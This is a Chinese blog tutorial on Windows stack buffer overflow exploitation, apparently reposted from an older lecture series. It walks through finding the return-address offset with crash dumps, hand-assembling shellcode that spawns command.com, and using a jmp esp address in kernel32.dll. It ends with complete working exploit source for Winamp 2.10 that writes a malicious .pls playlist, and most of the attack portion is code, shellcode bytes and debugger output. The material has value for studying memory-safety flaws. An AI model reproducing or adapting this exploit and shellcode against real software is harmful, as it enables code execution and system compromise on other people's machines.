堆栈溢出基础教程

原创 2005年04月26日 20:55:00

int main()
{
char name[32];
gets(name);
for(int i=0;i<32&&name[i];i++)
printf("//0x%x",name[i]);
}

相信大家都看出来了,gets(name)对name数组没有作边界检查。那么我们可以给程序一个很长的串,肯定可以覆盖堆栈中的返回地址。

C:/Program Files/DevStudio/MyProjects/bo/Debug>vunera~1
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61
/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61

到这里,出现了那个熟悉的对话框"该程序执行了非法操作。。。",太好了,点击详细信息按钮,看到EIP的值是0x61616161,哈哈,对话框还会把返回地址告诉我们。这个功能太好了,我们可以选择一个序列的输入串,精确的确定存放返回地址的偏移位置。

C:/Program Files/DevStudio/MyProjects/bo/Debug>vunera~1
12345678910111213141516171819202122232425262728293031323334353637383940
/0x31/0x32/0x33/0x34/0x35/0x36/0x37/0x38/0x39/0x31/0x30/0x31/0x31/0x31/0x32/0x31
/0x33/0x31/0x34/0x31/0x35/0x31/0x36/0x31/0x37/0x31/0x38/0x31/0x39/0x32/0x30/0x32
到这里,又出现了那个熟悉的对话框"改程序执行了非法操作。。。",点击详细信息按钮,下面是详细信息:

VUNERABLE 在 00de:32363235 的模块
<未知> 中导致无效页错误。
Registers:
EAX=00000005 CS=017f EIP=32363235 EFLGS=00000246
EBX=00540000 SS=0187 ESP=0064fe00 EBP=32343233
ECX=00000020 DS=0187 ESI=816bffcc FS=11df
EDX=00411a68 ES=0187 EDI=00000000 GS=0000
Bytes at CS:EIP:

Stack dump:
32383237 33303339 33323331 33343333 33363335 33383337 c0000005 0064ff68
0064fe0c 0064fc30 0064ff68 004046f4 0040f088 00000000 0064ff78 bff8b86c

哦哦,EIP的内容为0x32363235,就是2625,EBP的内容为0x32343233,就是2423,计算一下可以知道,在堆栈中,从name变量地址开始偏移36处,是EBP的地址,从name变量地址开始偏移40处,是ret的地址。我们可以给name数组输入我们精心编写的shellcode。我们只要把name的开始地址放在溢出字符串的地址40就可以了。那么,name的开始地址是多少呢?

通过上面的stack dump 我们可以看到,当前ESP所指向的地址0x0064fe00,内容为0x32383237,那么计算得出,name的开始地址为:0x0064fe00-44=0x64fdd4。在windows系统,其他运行进程保持不变的情况下。我们每次执行vunera~1的堆栈的开始地址都是相同的。也就是说,每次运行,name的地址都是0x64fdd4。

讲到这里,大家一定已经发现了这样一个情况:在win系统中,由于有地址冲突检测,出错时寄存器影像和堆栈影像,使得我们对堆栈溢出漏洞可以进行精确的分析溢出偏移地址。这就使我们可以精确的方便的寻找堆栈溢出漏洞。

OK,万事具备,只差shellcode了。

首先,考虑一下我们的shellcode要作什么?显然,根据以往的经验,我们想开一个dos窗口,这样在这个窗口下,我们就可以作很多事情。

开一个dos窗口的程序如下:
#include <windows.h>
#include <winbase.h>

typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;

char dllbuf[11] = "msvcrt.dll";
char sysbuf[7] = "system";
char cmdbuf[16] = "command.com";


LibHandle = LoadLibrary(dllbuf);

ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);

(ProcAdd) (cmdbuf);

return 0;
}

这个程序有必要详细解释一下。我们知道执行一个command.com就可以获得一个dos窗口。在C库函数里面,语句system(command.com);将完成我们需要的功能。但是,windows不像UNIX那样使用系统调用来实现关键函数。对于我们的程序来说,windows通过动态链接库来提供系统函数。这就是所谓的Dll's。

因此,当我们想调用一个系统函数的时候,并不能直接引用他。我们必须找到那个包含此函数的动态链接库,由该动态链接库提供这个函数的地址。DLL本身也有一个基本地址,该DLL每一次被加载都是从这个基本地址加载。比如,system函数由msvcrt.dll(the Microsoft Visual C++ Runtime library)提供,而msvcrt.dll每次都从0x78000000地址开始。system函数位于msvcrt.dll的一个固定偏移处(这个偏移地址只与msvcrt.dll的版本有关,不同的版本可能偏移地址不同)。我的系统上,msvcrt.dll版本为(v6.00.8397.0)。system的偏移地址为0x019824。

所以,要想执行system,我们必须首先使用LoadLibrary(msvcrt.dll)装载动态链接库msvcrt.dll,获得动态链接库的句柄。然后使用GetProcAddress(LibHandle, system)获得 system的真实地址。之后才能使用这个真实地址来调用system函数。

好了,现在可以编译执行,结果正确,我们得到了一个dos框。

现在对这个程序进行调试跟踪汇编语言,可以得到:

15: LibHandle = LoadLibrary(dllbuf);
00401075 lea edx,dword ptr [dllbuf]
00401078 push edx
00401079 call dword ptr [__imp__LoadLibraryA@4(0x00416134)]
0040107F mov dword ptr [LibHandle],eax
16:
17: ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);
00401082 lea eax,dword ptr [sysbuf]
00401085 push eax
00401086 mov ecx,dword ptr [LibHandle]
00401089 push ecx
0040108A call dword ptr [__imp__GetProcAddress@8(0x00416188)]
00401090 mov dword ptr [ProcAdd],eax
;现在,eax的值为0x78019824就是system的真实地址。
;这个地址对于我的机器而言是唯一的。不用每次都找了。
18:
19: (ProcAdd) (cmdbuf);
00401093 lea edx,dword ptr [cmdbuf]
;使用堆栈传递参数,只有一个参数,就是字符串"command.com"的地址
00401096 push edx
00401097 call dword ptr [ProcAdd]
0040109A add esp,4

现在我们可以写出一段汇编代码来完成system,看以看我们的执行system调用的代码是否能够像我们设计的那样工作:

#include <windows.h>
#include <winbase.h>

void main()
{

LoadLibrary("msvcrt.dll");

__asm {
mov esp,ebp ;把ebp的内容赋值给esp
push ebp ;保存ebp,esp-4
mov ebp,esp ;给ebp赋新值,将作为局部变量的基指针
xor edi,edi ;
push edi ;压入0,esp-4,
;作用是构造字符串的结尾/0字符。
sub esp,08h ;加上上面,一共有12个字节,
;用来放"command.com"。
mov byte ptr [ebp-0ch],63h ;
mov byte ptr [ebp-0bh],6fh ;
mov byte ptr [ebp-0ah],6dh ;
mov byte ptr [ebp-09h],6Dh ;
mov byte ptr [ebp-08h],61h ;
mov byte ptr [ebp-07h],6eh ;
movbyte ptr [ebp-06h],64h ;
mov byte ptr [ebp-05h],2Eh ;
mov byte ptr [ebp-04h],63h ;
mov byte ptr [ebp-03h],6fh ;
mov byte ptr [ebp-02h],6dh ;生成串"command.com".
lea eax,[ebp-0ch] ;
push eax ;串地址作为参数入栈
mov eax, 0x78019824 ;
call eax ;调用system
}
}

编译,然后运行。好,DOS框出来了。在提示符下输入dir,copy......是不是想起了当年用286的时候了?

敲exit退出来,哎呀,发生了非法操作。Access Violation。这是肯定的,因为我们的程序已经把堆栈指针搞乱了。

对上面的算法进行优化,现在我们可以写出shellcode如下:
char shellcode[] = {
0x8B,0xE5, /*mov esp, ebp */
0x55, /*push ebp */
0x8B,0xEC, /*mov ebp, esp */
0x83,0xEC,0x0C, /*sub esp, 0000000C */
0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */
0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/
0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */
0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/
0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */
0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/
0x33,0xD2, /*xor edx, edx */
0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */
0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/
0x50, /*push eax */
0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */
0xFF,0xD0 /*call eax */
};

还记得第二讲中那个测试shellcode的基本程序吗?我们可以用他来测试这个shellcode:
#include <windows.h>
#include <winbase.h>
char shellcode[] = {
0x8B,0xE5, /*mov esp, ebp */
0x55, /*push ebp */
0x8B,0xEC, /*mov ebp, esp */
0x83,0xEC,0x0C, /*sub esp, 0000000C */
0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */
0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/
0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */
0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/
0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */
0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/
0x33,0xD2, /*xor edx, edx */
0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */
0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/
0x50, /*push eax */
0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */
0xFF,0xD0 /*call eax */
};

int main() {
int *ret;
LoadLibrary("msvcrt.dll");

ret = (int *)&ret + 2; //ret 等于main()的返回地址
//(+2是因为:有push ebp ,否则加1就可以了。)
(*ret) = (int)shellcode; //修改main()的返回地址为shellcode的开始地址。

}
编译运行,得到dos对话框。

现在总结一下。我们已经知道了在windows系统下如何获得一次堆栈溢出,如何计算偏移地址,以及如何编写一个shellcode以得到dos。理论上,你已经具备了利用堆栈溢出的能力了,下面,我们通过实战来真正掌握他。

◆溢出字符串的设计

我们已经知道了在windows系统下如何获得一次堆栈溢出,如何计算偏移地址,以及如何编写一个shellcode以得到dos。

但是这远远不够。

大家知道windows系统的用户进程空间是0--2G,操作系统所占的为2--4G。事实上用户进程的加载位置为:0x00400000.这个进程的所有指令地址,数据地址和堆栈指针都会含有0,那么我们的返回地址就必然含有0。

现在来看一看我们的shellcode:NNNNSSSSAAAAAA。显然,我们的shellcode由于A里面含有0,所以就变成了NNNNNNNNSSSSSA,这样,我们的返回地址A必须精确的放在确切的函数堆栈中的ret位置。

事实上,在上一讲里面,我们已经掌握了很精确的找到这个位置的方法。

其次,windows在执行mov esp,ebp的时候,把废弃不用的堆栈用随机数据填充(实验所得,机制如何,大家一起研究),因此我们的shellcode可能会被覆盖!----这下完蛋了,我们的shellcode都没了,返回地址正确又有什么用??

所以,我们的shellcode必须改成如下方式:NNNNNNNNNNNNNNNNNASSSSSSSSS,在缓冲区溢出发生之后,堆栈的布局如下:

内存底部 内存顶部
buffer EBP ret
<------ [NNNNNNNNNNN][N ] [A ]SSSS
^&buffer
堆栈顶部 堆栈底部

看到了吗?我们的A覆盖了返回地址。S位于堆栈的底部。A的内容,就是指向S的调用。

但是,刚才我们说过A里面是含有0字符的,这样的溢出字符串,在A处就被0阻断,根本无法到shellcode。我们需要把A改成不包含0的地址。

好像没有办法了,是吗?现在我们的A如何能做到即可以跳转到我们的shellcode,又可以不包含0字节呢?

大家可能还记得当年IIS4.0远程攻击的作者dark spyrit AKA Barnaby Jack吧?他在99年的Phrack Magzine55.15 上提出了使用系统核心dll中的指令来完成跳转的思想。我不得不说这是一个天才的想法。事实上,这一技巧开创了一个崭新的windows缓冲区溢出的思路。

思路是这样的:返回地址A的内容不指向我们的shellcode开始地点,否则的话A里面必然含有0。我们知道系统核心的dll都是在2-4G,也就是从0x80000000到0xffffffff,这里面的指令地址将不包含0,(当然几个别的除外,我们可以不用他)。因此,我们可以令返回地址A等于一个系统核心dll中的指令的地址,这个指令的
作用就是call/jmp 我们的shellcode。

但是他怎么才能知道我们的shellcode的地址呢?

答案是:用寄存器。因为在溢出发生的时候,除了eip跳到了系统核心dll去之外,其他的通用寄存器都保持不变。在寄存器里面一定有我们的shellcode的相关信息。比如说,敌人的函数如果有参数的话,那么我们的A覆盖了他的返回地址,shellcode的开始地址则恰恰在他的第一个参数的位置上,那我们就可以用call [ebp+4]或者我们假设敌人第一个参数的地址在eax,那我们就可以使用call/jmp eax来调用shellcode。这些寄存器的值,我们可以在第一讲里面提到的"关闭程序框"里面获得寄存器和堆栈的详细资料。

那么我们怎么知道哪里有call/jmp eax什么的呢?我们又怎么知道这些指令是每次都在内存中可以直接调用呢?

答案是:系统核心dll。系统核心dll包括kernel32.dll,user32.dll,gdi32.dll.这些dll是一直位于内存中而且对应于固定的版本windows加载的位置是固定的。你可以在这些dll里面搜索你需要的指令。其他的dll,比如msvcrt。dll就要去看程序自己的import列表了。看看他是否load了这个dll。不过一般的说,这几个dll就够了。

好,那么我们的shellcode最终为:
NNNNNNNNNNNNNNNASSSSSSSS
其中:N为NOP指令
A为指向某一条call/jmp指令的地址,这个call/jmp指令位于系统核心内存>0x80000000,这个call/jmp指令具体的内容,需要根据我们exploit出来的结果分析得知。
S:shellcode。

有了这些基础知识,我们来分析一个实例。

大家都有winamp吧,他的2.10有缓冲区漏洞,下面我们来实现一个exploit。

winamp的playlist支持文件*.pls存放playlist。playlist里面的文件名长度如果大于一定长度就会发生堆栈溢出。我们可以写出测试串,精确的测试。
test.cpp
----------------------------------------------------------------------------
#include <stdio.h>

int main()
{
char buffer[640];
char eip[8] = "";
char sploit[256] = "";
FILE *file;

for(int x=0;x<640;x++)
{
switch(x%4) {
case 0: buffer[x] = 'A';break;
case 1: buffer[x] = 'A'+x/26%26/26%26; break;
case 2: buffer[x] = 'A'+x/26%26; break;
case 3: buffer[x] = 'A'+x%26;break;

}
}
buffer[x]=0;
file = fopen("crAsh.pls","wb");

fprintf(file, "[playlist]/n");
fprintf(file, "File1=");
fprintf(file, "%s", buffer);
fprintf(file, "%s", eip);
fprintf(file, "%s", sploit);
fprintf(file, "/nNumberOfEntries=1");

fclose(file);
printf("/t created file crAsh.pls loaded with the exploit./n");
return 0;
}
----------------------------------------------------------------------------
算法很简单,是写出一个crach.pls文件,内容可以根据那几个fprintf看出来的。我就不讲了,其中buffer的内容为测试用的字符串。这个测试程序可以测试最长为26^3的串,足够了。

编译执行,看看结果,嘿,发生了堆栈溢出,结果如下:

WINAMP 在 00de:4c574141 的模块
<未知> 中导致无效页错误。
Registers:
EAX=00000001 CS=017f EIP=4c574141 EFLGS=00000206
EBX=006da30c SS=0187 ESP=006da170 EBP=006da2f4
ECX=00000000 DS=0187 ESI=00445638 FS=4bd7
EDX=005b02dc ES=0187 EDI=00000001 GS=4206
Bytes at CS:EIP:

Stack dump:
50574141 54574141 58574141 42584141 46584141 4a584141
4e584141 52584141 56584141 5a584141 44594141 48594141
4c594141 50594141

根据eip=4141574c计算得出,addr = (57h-41h)*26+(4ch-41h)-4 = 580.
好,溢出的位置为580。

大家现在知道我们的溢出字符串中,返回地址A应该在串的580处,那么我们应该让他使用什么call/jmp指令以达到shellcode呢?

看看寄存器dump,我们发现ESP里面的内容是4141750,恰好是4141574c之后的第一个数。看来ESP指向我们的shellcode,太棒了!我们使用指令:jmp ESP 就可以执行我们的shellcode了。

现在找出jmp esp的指令码为 FF E4,ctrl-D 调出s-ice,看看内存里面那里有FF E4.因为系统核心dll的加载地址都是从地址0xBf000000开始,所以我们搜索s Bf000000 L ffffffff ff,e4 得到了哪些结果?

一堆呀,这第一个是:BFF795A3。看看softice里面的进程名称栏:Kernel32!GetDataFormatA+1554好,是kernel32.dll里面的,肯定是可以用的啦。ok,问题解决,我们现在可以确定在buffer〔580〕处,写入四个字节:"/xa3/x95/xf7/xbf".这就是我们的溢出字符串中的返回地址A。

好了,现在溢出字符串已经基本分析完了,就差shellcode了。
下面我们来写shellcode。
我们的shellcode要开一个dos窗口。C语言的算法描述是:

LoadLibrary("msvcrt.dll");
system("command.com");
exit(0);
很简单,是不是?下面是汇编代码:

首先要LoadLibrary("msvcrt.dll");
push ebp
mov ebp,esp
xor eax,eax
push eax
push eax
push eax
mov byte ptr[ebp-0Ch],4Dh
mov byte ptr[ebp-0Bh],53h
mov byte ptr[ebp-0Ah],56h
mov byte ptr[ebp-09h],43h
mov byte ptr[ebp-08h],52h
mov byte ptr[ebp-07h],54h
mov byte ptr[ebp-06h],2Eh
mov byte ptr[ebp-05h],44h
mov byte ptr[ebp-04h],4Ch
mov byte ptr[ebp-03h],4Ch
mov edx,0xBFF776D4 //LoadLibrary
push edx
lea eax,[ebp-0Ch]
push eax
call dword ptr[ebp-10h]
然后是开一个dos窗口:
push ebp
mov ebp, esp
sub esp, 0000002C
mov eax, 6D6D6F63
mov dword ptr [ebp-0C], eax
mov eax, 2E646E61
mov dword ptr [ebp-08], eax
mov eax, 226D6F63
mov dword ptr [ebp-04], eax
xor edx, edx
mov byte ptr [ebp-01], dl
lea eax, dword ptr [ebp-0C]
push eax
mov eax, 78019824 //system
call eax
最后执行exit,退出来。

push ebp
mov ebp,esp
mov edx,0xFFFFFFFF
sub edx,0x87FFAAFB//exit
push edx
xor eax,eax
push eax
call dword ptr[ebp-04h]

简单说一下,msvcrt.dll是运行C语言标准库函数所必须的一个动态链接库。
要想使用system,exit,必须加载这个库。而winamp没有import这个库,
所译我们需要自己加载。
指令 mov edx,0xBFF776D4中,0xBFF776D4是函数LoadLibraryA的地址。
他的代码在kernel32.dll中,是被winamp加载了的dll。我的机器上kernel32.dll
版本是: (v4.10.2222) .
0x78019824 是msvcrt.dll里面的函数system的地址。版本:(v6.00.8397.0)
0x78005504 是msvcrt.dll里面的函数exit的地址。版本:(v6.00.8397.0)
由于里面有0,所以使用两条指令来完成:
mov edx,0xFFFFFFFF
sub edx,0x87FFAAFB//==mov edx,0x78005504

编译,找出二进制code:
shellcode:
"/x55/x8B/xEC/x33/xC0/x50/x50/x50/xC6/x45/xF4/x4D/xC6/x45/xF5/x53"
"/xC6/x45/xF6/x56/xC6/x45/xF7/x43/xC6/x45/xF8/x52/xC6/x45/xF9/x54/xC6/x45/xFA/x2E/xC6"
"/x45/xFB/x44/xC6/x45/xFC/x4C/xC6/x45/xFD/x4C/xBA/x50/x77/xF7/xbF/x52/x8D/x45/xF4/x50"
"/xFF/x55/xF0"
"/x55/x8B/xEC/x83/xEC/x2C/xB8/x63/x6F/x6D/x6D/x89/x45/xF4/xB8/x61/x6E/x64/x2E"
"/x89/x45/xF8/xB8/x63/x6F/x6D/x22/x89/x45/xFC/x33/xD2/x88/x55/xFF/x8D/x45/xF4"
"/x50/xB8/x24/x98/x01/x78/xFF/xD0"
"/x55/x8B/xEC/xBA/xFF/xFF/xFF/xFF/x81/xEA/xFB/xAA/xFF/x87/x52/x33/xC0/x50/xFF/x55/xFC";

好了,所有的算法都讨论完了,下一讲我们就来实现一个exploit

◆最后的完善

我们把前面写的测试程序稍加改动就是一个exploit程序:
exploit.cpp
----------------------------------------------------------------------------
#include <stdio.h>

int main()
{


char buffer[640];
char eip[8] = "/xa3/x95/xf7/xBF";
char shellcode[256] =
"/x55/x8B/xEC/x33/xC0/x50/x50/x50/xC6/x45/xF4/x4D/xC6/x45/xF5/x53"//load
"/xC6/x45/xF6/x56/xC6/x45/xF7/x43/xC6/x45/xF8/x52/xC6/x45/xF9/x54/xC6/x45/xFA/x2E/xC6"
"/x45/xFB/x44/xC6/x45/xFC/x4C/xC6/x45/xFD/x4C/xBA/x50/x77/xF7/xbF/x52/x8D/x45/xF4/x50"
"/xFF/x55/xF0"
"/x55/x8B/xEC/x83/xEC/x2C/xB8/x63/x6F/x6D/x6D/x89/x45/xF4/xB8/x61/x6E/x64/x2E"
"/x89/x45/xF8/xB8/x63/x6F/x6D/x22/x89/x45/xFC/x33/xD2/x88/x55/xFF/x8D/x45/xF4"
"/x50/xB8/x24/x98/x01/x78/xFF/xD0"
"/x55/x8B/xEC/xBA/xFF/xFF/xFF/xFF/x81/xEA/xFB/xAA/xFF/x87/x52/x33/xC0/x50/xFF/x55/xFC";

FILE *file;

for(int x=0;x<580;x++)
{
buffer[x] = 0x90;
}

file = fopen("crAsh.pls","wb");

fprintf(file, "[playlist]/n");
fprintf(file, "File1=");
fprintf(file, "%s", buffer);
fprintf(file, "%s", eip);
fprintf(file, "%s", shellcode);
fprintf(file, "/nNumberOfEntries=1");

fclose(file);
printf("/t created file crAsh.pls loaded with the exploit./n");
return 0;
}
----------------------------------------------------------------------------

OK,运行他,生成一个文件叫做crash.pls.在winamp里面打开这个playlist,就应该出一个dos。出来了吗?

哎呀,怎么又是错误?

WINAMP 在 017f:004200c3 的模块
WINAMP.EXE 中导致无效页错误。
Registers:
EAX=00000001 CS=017f EIP=004200c3 EFLGS=00000206
EBX=006da30c SS=0187 ESP=006da171 EBP=006da2f4
ECX=00000000 DS=0187 ESI=00445638 FS=444f
EDX=005b02dc ES=0187 EDI=00000001 GS=4446
Bytes at CS:EIP:
00 85 f6 7d 06 03 35 dc 23 44 00 8b 6c 24 10 3b
Stack dump:
0a006da1 8000009d 0000442a 90000000 90909090 90909090
90909090 90909090 90909090 90909090 90909090 90909090
90909090 90909090 90909090 90909090

看看出错信息,EIP是4200c3,看来已经开始执行我们的shellcode了,怎么会有无效页错误呢?看来我们的shellcode有问题。

这个时候,s-ice就又派上用场了,跟踪一下看看:
ctrl-d
bpx bff795a3(就是我们的jmp esp)
x
好,现在运行winamp,打开文件crash.pls,被s-ice拦下,开始跟踪。一个jmp esp之后,就到了我们的shellcode上,继续执行,看到了什么吗?

奇怪!我们的shellcode变短了,到B8249801,后面就没有了。这是怎么回事?应该是/xB8/x24/x98/x01/x78呀,/x01到什么地方去了?

看来敌人把输入的溢出字符串作乐处理,把不能作为文件名的字符都作为0处理了(事实上这是win32api函数作的处理)。我们的shellcode被截断了。

我在第4讲第一节就说过对这种问题的对策。这个问题的解决需要我们改换shellcode,去掉那些有问题的字符:/x01

我们作如下替换:
mov eax,78019824 ----> mov eax,ffffffff
sub eax,87fe67db
汇编得到:

xB8/x24/x98/x01/x78 ----> /xB8/xFF/xFF/xFF/xFF
/x2d/xdB/x67/xFe/x87
得到下面的新程序:
/* Stack based buffer overflow exploit for Winamp v2.10
* Author Steve Fewer, 04-01-2k. Mail me at darkplan@oceanfree.net
*
* For a detailed description on the exploit see my advisory.
*
* Tested with Winamp v2.10 using Windows98 on an Intel
* PII 400 with 128MB RAM
*
* http://indio.ie/~lmf

* modify by ipxodi 20-01-2k

* for windows98 the 2nd version and for a new shellcode.

* windows98 v 4.10.2222.A chinese version
* pII 366 with 64MB RAM(Not a good PC,en?)

* ipxodi@263.net
*/

#include <stdio.h>

int main()
{

char buffer[640];
char eip[8] = "/xa3/x95/xf7/xbf";
char sploit[256] = "/x55/x8B/xEC/x33/xC0/x50/x50/x50/xC6/x45/xF4/x4D/xC6/x45/xF5/x53"
"/xC6/x45/xF6/x56/xC6/x45/xF7/x43/xC6/x45/xF8/x52/xC6/x45/xF9/x54/xC6/x45/xFA/x2E/xC6"
"/x45/xFB/x44/xC6/x45/xFC/x4C/xC6/x45/xFD/x4C/xBA/x50/x77/xF7/xbF/x52/x8D/x45/xF4/x50"
"/xFF/x55/xF0"
"/x55/x8B/xEC/x83/xEC/x2C/xB8/x63/x6F/x6D/x6D/x89/x45/xF4/xB8/x61/x6E/x64/x2E"
"/x89/x45/xF8/xB8/x63/x6F/x6D/x22/x89/x45/xFC/x33/xD2/x88/x55/xFF/x8D/x45/xF4"
"/x50/xB8/xFF/xFF/xFF/xFF/x2d/xdB/x67/xFe/x87/xFF/xD0"
"/x55/x8B/xEC/xBA/xFF/xFF/xFF/xFF/x81/xEA/xFB/xAA/xFF/x87/x52/x33/xC0/x50/xFF/x55/xFC";

FILE *file;

for(int x=0;x<580;x++)
{
buffer[x] = 0x90;
}
buffer[x]=0;
file = fopen("crAsh.pls","wb");

fprintf(file, "[playlist]/n");
fprintf(file, "File1=");
fprintf(file, "%s", buffer);
fprintf(file, "%s", eip);
fprintf(file, "%s", sploit);
fprintf(file, "/nNumberOfEntries=1");

fclose(file);
printf("/t created file crAsh.pls loaded with the exploit./n");
return 0;
}


OK,运行他,生成一个文件叫做crash.pls.在winamp里面打开这个playlist,
结果如下,我可爱的dos出来了:

Microsoft(R) Windows 98
(C)Copyright Microsoft Corp 1981-1999.

D:/hacker/document/ipxodi>dir
.........................
........就不贴了.........

总结:

经过这次实战的演练,大家一定对windows下的buffer overflow有了很深的掌握了。我们可以看到,windows下的堆栈溢出攻击和unix下的,原理基本相同。但是,由于windows用户进程地址空间分配和堆栈处理有其独立的特点,导致了windows环境下堆栈溢出攻击时,使用的堆栈溢出字符串,与unix下的,区别很大。这也是我在写完linux下的堆栈溢出系列之后,另外写windows系列的原因。

另外,大家从破解的过程中,可以发现我一再强调windows的版本。事实上,这也导致了windows下的exploit不具有通用性。大家的windows版本不一,而exploit使用了很多动态链接库里面的库函数,其地址都是与dll的版本有关系的。不同的dll版本,里面的库函数的偏移地址就可能(注意:是可能)不同。因为windows的patch天天有,他的一些dll就更新很快。甚至可能不同语言版本的windows,其核心dll的版本都不同。用户的dll一变更,那么,我们的exploit里面的shellcode就要重新写。

为了解决这个问题,我想我们可以尽量减少固定地址的使用。即使用GetProcAddress来获得我们将使用的每一个系统函数,当然这就大大加长了我们的shellcode。但是,这也无法消除对kernel32.dll的中LoadLibrary和
GetProcAddress的地址的直接引用,因为这两个是shellcode中最基本的函数,自然就导致了对kernel32.dll版本的依赖。

这里奉劝大家,当你写的exploit发生无效页错误时,不要灰心。运行sice,跟踪你的shellcode,会发现问题的根源的。

因此,这也回答了去年xsz,littleworm它们的问题。当时我们实验IIS4.0的exploit总是没有成功,client端执行完了以后server端我们经常看到access violation的框,就是因为shellcode的版本依赖问题导致的。

所以,对于windows下的堆栈溢出exploit,必须公开原代码,才能由其他人完成别的版本的修改,这一点,大家以后公布exploit时,要记住。

说一句题外话:
很多人运行了堆栈溢出exploit以后没有成功,就认为自己的机器没有毛病。对此,dark spyrit AKA Barnaby Jack曾有这样的建议:
If the exploit failed......
Do not determine the threat to your servers solely on the results of one
public exploit - the vulnerability exists, fix it. If you think that was
the only demonstration code floating around you need your head examined.

以前咱们水木黑客版97年堆栈溢出大讨论的时候,rainer就很高水平的探讨过windows下的buffer overflow。他的文章现在还在,大家可以去精华区看看。不过当时只是探讨原理,还停留在堆栈溢出的可行性,远没有探讨利用他来攻击。我也曾经以为windows的堆栈溢出攻击是不必要的。

后来,NT的中普通用户获取admin,我想到过仿照UNIX,搞缓冲区溢出攻击。因为NT里面有很多系统进程,都是以system账号启动的。如果我们可以将它们overflow,按照上面的方法,可以得到dos,(NT下是cmd.exe),将拥有超级用户的权限。当然可以为所欲为了。

这只是windows NT下堆栈溢出攻击的一个应用。去年,我研究IIS4.0的溢出之后,发现带有问题的windows网络服务程序导致了windows堆栈溢出,可以帮助我们获得远程控制。才认识到windows堆栈溢出攻击将是一个很有研究价值的攻击手段。

在后续的研究中,有时候因为困难几乎要放弃。好在有小懒虫(sysword),小四(hellguard),康师傅(kxn)这些网友给我的督促和帮助。在此感谢,同时感谢以前一起讨论过windows系列堆栈溢出的朋友littleworm,xsz它们。

最后,我希望我的讲座作为抛砖引玉,能够引发大家更深入的探讨。希望大家在看了之后,能够对windows堆栈溢出技术有一定了了解。如果大家能够提出改进的算法,或者发现新的exploit,就真正是光大了我们黑客版的精神。

造成堆栈溢出异常的XML

  • 2011年07月08日 10:59
  • 236KB
  • 下载

windows下的堆栈溢出利用技术.

  • 2011年01月15日 11:02
  • 581KB
  • 下载

汇编基础教程(三)——堆栈框架

由于之前转载的那个教程最后一篇,代码太长了,虽然注释很详细但我实在看不下去了。。。原文在这里 于是根据《INTEL汇编程序设计第五版》第八章8.2小结以及网上的内容整理如下。 ----------...

堆栈溢出技术从入门到高深.doc

  • 2009年05月14日 15:32
  • 64KB
  • 下载

堆栈溢出技术从入门到精通

  • 2008年08月06日 16:50
  • 18KB
  • 下载

堆栈溢出的运行时探测(二)

3. 技术 3.1 GNU Lib C(glibc)中的堆管理         C语言没有提供如动态内存管理、字符串操作、输入输出等内置功能,而是把这些功能定义在一个标准库中,当用户使用的时候会被...

IAR编译器堆栈溢出问题查找

  • 2014年03月21日 12:20
  • 24KB
  • 下载

关于堆栈溢出的白皮书

  • 2008年02月18日 10:10
  • 256KB
  • 下载

Windbg的gflags.exe调试堆栈溢出,访问越界等问题。

gflags.exe是Windbg下的一个小工具,非常好用,对于调试程序隐藏的bug很有帮助。  如:我在vs2015中遇到访问越界的问题,但程序不会在越界的地方发生崩溃中断,而是在一个不可能存在访问...
  • bao_bei
  • bao_bei
  • 2017年06月28日 14:22
  • 470

RPC DCOM堆栈溢出实验

  • 2013年05月09日 16:20
  • 315KB
  • 下载
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:堆栈溢出基础教程
举报原因:
原因补充:

(最多只允许输入30个字)